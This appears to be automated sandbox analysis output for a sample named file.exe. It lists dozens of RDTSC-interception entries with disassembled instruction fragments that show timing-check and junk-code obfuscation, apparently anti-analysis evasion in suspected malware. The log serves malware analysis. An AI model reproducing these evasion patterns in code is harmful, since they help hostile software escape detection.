Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A066 second address: D7A17D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4904C3116Bh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007F4904C3116Dh 0x00000013 jmp 00007F4904C3116Ch 0x00000018 popad 0x00000019 jmp 00007F4904C31175h 0x0000001e popad 0x0000001f mov eax, dword ptr [esp+04h] 0x00000023 jmp 00007F4904C3116Dh 0x00000028 mov eax, dword ptr [eax] 0x0000002a jns 00007F4904C31178h 0x00000030 mov dword ptr [esp+04h], eax 0x00000034 jmp 00007F4904C31179h 0x00000039 pop eax 0x0000003a jnl 00007F4904C3116Eh 0x00000040 mov esi, dword ptr [ebp+122D3775h] 0x00000046 lea ebx, dword ptr [ebp+1244D997h] 0x0000004c push 00000000h 0x0000004e push ebx 0x0000004f call 00007F4904C31168h 0x00000054 pop ebx 0x00000055 mov dword ptr [esp+04h], ebx 0x00000059 add dword ptr [esp+04h], 0000001Ch 0x00000061 inc ebx 0x00000062 push ebx 0x00000063 ret 0x00000064 pop ebx 0x00000065 ret 0x00000066 pushad 0x00000067 mov edi, dword ptr [ebp+122D386Dh] 0x0000006d mov esi, 2690B3E7h 0x00000072 popad 0x00000073 xchg eax, ebx 0x00000074 jnc 00007F4904C31170h 0x0000007a push eax 0x0000007b push eax 0x0000007c push edx 0x0000007d pushad 0x0000007e jmp 00007F4904C31176h 0x00000083 jmp 00007F4904C31173h 0x00000088 popad 0x00000089 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9A745 second address: D9A753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F490480C8B6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9A753 second address: D9A778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4904C3116Dh 0x00000009 push edx 0x0000000a pop edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d popad 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4904C3116Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9A778 second address: D9A77F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9AA52 second address: D9AA72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4904C3116Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jnp 00007F4904C31166h 0x00000010 jnl 00007F4904C31166h 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9AA72 second address: D9AA7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F490480C8B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9AA7C second address: D9AAA0 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4904C31166h 0x00000008 jmp 00007F4904C31170h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 jnl 00007F4904C31166h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9AAA0 second address: D9AAB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jns 00007F490480C8B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9AAB5 second address: D9AAD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F4904C31166h 0x0000000a jng 00007F4904C31166h 0x00000010 popad 0x00000011 pushad 0x00000012 je 00007F4904C31166h 0x00000018 push esi 0x00000019 pop esi 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9AD9A second address: D9ADA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9ADA2 second address: D9ADB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4904C31171h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9ADB9 second address: D9ADC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F490480C8B6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9B5C7 second address: D9B5E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4904C3116Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a je 00007F4904C3116Ah 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pushad 0x00000013 popad 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92305 second address: D9230B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9230B second address: D92322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F4904C31170h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92322 second address: D9233F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F490480C8C7h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9B878 second address: D9B893 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jnl 00007F4904C31174h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9BF78 second address: D9BF80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C0D7 second address: D9C114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F4904C3116Eh 0x0000000a popad 0x0000000b push ebx 0x0000000c pushad 0x0000000d jmp 00007F4904C31174h 0x00000012 jmp 00007F4904C31171h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C25E second address: D9C262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C262 second address: D9C27F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4904C31166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F4904C31173h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C52B second address: D9C552 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F490480C8C0h 0x00000009 popad 0x0000000a pushad 0x0000000b jg 00007F490480C8B6h 0x00000011 jnl 00007F490480C8B6h 0x00000017 pushad 0x00000018 popad 0x00000019 push edi 0x0000001a pop edi 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C552 second address: D9C55F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnl 00007F4904C31166h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69EB3 second address: D69EB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69EB8 second address: D69EF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4904C31179h 0x00000009 jmp 00007F4904C31172h 0x0000000e jo 00007F4904C31166h 0x00000014 popad 0x00000015 jbe 00007F4904C31183h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F4A4 second address: D9F4BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jno 00007F490480C8B8h 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F490480C8B6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F4BA second address: D9F4BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6D39F second address: D6D3BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F490480C8C7h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6D3BB second address: D6D3CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4904C3116Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6D3CC second address: D6D3F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F490480C8C1h 0x00000007 jmp 00007F490480C8C3h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6D3F8 second address: D6D3FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6D3FC second address: D6D428 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jne 00007F490480C8B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 jnp 00007F490480C8B6h 0x00000016 jmp 00007F490480C8C4h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4DE7 second address: DA4DEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4DEB second address: DA4DF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7989 second address: DA798F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DADB6F second address: DADB78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DADB78 second address: DADB7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DADB7E second address: DADB84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DACFBC second address: DACFDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4904C31177h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DACFDC second address: DACFE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAD26E second address: DAD273 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAD273 second address: DAD279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAD869 second address: DAD86E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAD86E second address: DAD876 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAD876 second address: DAD87A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAD9D6 second address: DAD9F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F490480C8C8h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAD9F5 second address: DADA08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F4904C3116Dh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DADA08 second address: DADA0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DADA0C second address: DADA1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F4904C31166h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAE2D9 second address: DAE2EE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007F490480C8BCh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAE2EE second address: DAE303 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jo 00007F4904C31166h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAE303 second address: DAE307 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAE307 second address: DAE331 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4904C31177h 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007F4904C31168h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAE331 second address: DAE358 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F490480C8B6h 0x00000009 jmp 00007F490480C8BEh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 je 00007F490480C8B6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAE358 second address: DAE371 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4904C31171h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAEEE8 second address: DAEEED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAEEED second address: DAEF36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4904C3116Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebx 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F4904C31168h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 adc di, 1469h 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e jnl 00007F4904C31168h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF0C7 second address: DAF0CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF31F second address: DAF323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF453 second address: DAF457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF457 second address: DAF4B0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4904C31166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jmp 00007F4904C3116Fh 0x00000010 pop esi 0x00000011 popad 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007F4904C31168h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D1C9Ah], edi 0x00000033 xchg eax, ebx 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 jno 00007F4904C31166h 0x0000003d jnc 00007F4904C31166h 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF4B0 second address: DAF4BA instructions: 0x00000000 rdtsc 0x00000002 jc 00007F490480C8BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF4BA second address: DAF4CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jc 00007F4904C31168h 0x0000000e push edx 0x0000000f pop edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF4CD second address: DAF4D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB03CB second address: DB03CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB03CF second address: DB03D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB03D5 second address: DB03DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB14AB second address: DB14B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F490480C8B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB1F5D second address: DB1F63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB1F63 second address: DB1F67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB34CE second address: DB34D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB34D7 second address: DB34E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 jbe 00007F490480C8C0h 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB34E8 second address: DB3522 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edx 0x0000000a call 00007F4904C31168h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], edx 0x00000014 add dword ptr [esp+04h], 0000001Ch 0x0000001c inc edx 0x0000001d push edx 0x0000001e ret 0x0000001f pop edx 0x00000020 ret 0x00000021 push 00000000h 0x00000023 mov edi, 7A11D81Eh 0x00000028 push 00000000h 0x0000002a cmc 0x0000002b push eax 0x0000002c pushad 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB3522 second address: DB352D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB352D second address: DB3531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB277A second address: DB2780 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB2780 second address: DB2799 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4904C31175h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB626F second address: DB62FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jo 00007F490480C8BEh 0x0000000d jnp 00007F490480C8B8h 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007F490480C8B8h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e mov dword ptr [ebp+122D1CFEh], ebx 0x00000034 mov esi, dword ptr [ebp+122D375Dh] 0x0000003a push 00000000h 0x0000003c mov si, ax 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push esi 0x00000044 call 00007F490480C8B8h 0x00000049 pop esi 0x0000004a mov dword ptr [esp+04h], esi 0x0000004e add dword ptr [esp+04h], 00000015h 0x00000056 inc esi 0x00000057 push esi 0x00000058 ret 0x00000059 pop esi 0x0000005a ret 0x0000005b push ebx 0x0000005c mov edi, dword ptr [ebp+122D3599h] 0x00000062 pop esi 0x00000063 xchg eax, ebx 0x00000064 pushad 0x00000065 je 00007F490480C8B8h 0x0000006b pushad 0x0000006c popad 0x0000006d push eax 0x0000006e push edx 0x0000006f jmp 00007F490480C8C2h 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB9A49 second address: DB9A4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB9A4E second address: DB9A70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F490480C8C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jc 00007F490480C8BEh 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBFBFA second address: DBFC0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 js 00007F4904C31178h 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007F4904C31166h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBFC0F second address: DBFC13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC0AFD second address: DC0B24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F4904C3116Fh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push edx 0x00000011 pop edx 0x00000012 jne 00007F4904C31166h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC0B24 second address: DC0B28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBAD3F second address: DBAD46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBBD20 second address: DBBD26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC4E53 second address: DC4E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4904C31172h 0x00000009 popad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
